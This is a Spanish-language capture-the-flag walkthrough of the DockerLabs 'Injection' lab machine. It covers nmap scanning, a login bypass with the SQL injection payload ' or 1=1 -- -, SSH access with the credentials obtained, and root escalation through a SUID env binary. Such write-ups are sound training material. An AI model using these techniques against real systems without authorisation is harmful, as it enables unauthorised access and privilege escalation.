> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/injection.md).
# Injection
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Injection** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Utilizamos la herramienta `7z` para descomprimir el archivo:
```bash
7z x injection.zip
```
#### **1.3. Ejecución**
Ejecutamos el script `auto_deploy.sh` para desplegar la máquina en Docker:
```bash
bash auto_deploy.sh injection.tar
```
Al finalizar, el script nos proporciona la dirección IP interna de la máquina (`172.17.0.2`), que utilizaremos para interactuar con ella.
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Verificamos la conectividad con la máquina utilizando el comando `ping`:
```bash
ping -c 1 172.17.0.2
```
El valor `TTL=64` indica que el sistema operativo es **Linux**.
#### **2.2. Escaneo de puertos**
Realizamos un escaneo de puertos abiertos con `nmap`:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Resultados:**
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
#### **2.3. Escaneo detallado**
Ejecutamos un escaneo más exhaustivo para identificar servicios y versiones que se están ejecutando en cada uno de los puertos:
```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```
**Resultados:**
* **Puerto 22:** OpenSSH 8.9p1.
* **Puerto 80:** Apache httpd 2.4.52.
#### **2.4. Análisis del servicio web**
Accedemos al servicio web vía navegador (`http://172.17.0.2`) y encontramos un panel de inicio de sesión.
Dado que el nombre de la máquina es **Injection**, sospechamos que es vulnerable a una **Inyección SQL**.
### **3. Explotación**
#### **3.1. Inyección SQL**
Utilizamos la siguiente entrada en los campos de usuario y contraseña para explotar la vulnerabilidad:
```sql
' or 1=1 -- -
```
**Explicación:**
* `'`: Cierra la cadena de texto en la consulta SQL.
* `or 1=1`: Siempre evalúa como verdadero, evitando la validación de credenciales.
* `-- -`: Comenta el resto de la consulta, ignorando cualquier validación adicional.
**Resultado:** La inyección es exitosa y obtenemos credenciales para conectarnos por SSH.
#### **3.2. Acceso por SSH**
Utilizamos las credenciales obtenidas para acceder por SSH:
```bash
ssh dylan@172.17.0.2
```
### **4. Escalada de privilegios**
#### **4.1. Búsqueda de binarios SUID**
Buscamos binarios con permisos **SUID** que permitan escalar privilegios:
```bash
find / -perm -4000 2>/dev/null
```
El binario `/usr/bin/env` puede ser ejecutado como `root` sin proporcionar contraseña.
#### **4.2. Explotación con GTFOBins**
Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/env/) para explotar el binario `env`:
```bash
/usr/bin/env /bin/sh -p
```
**Resultado:** Obtenemos una shell como `root`, completando la explotación de la máquina.
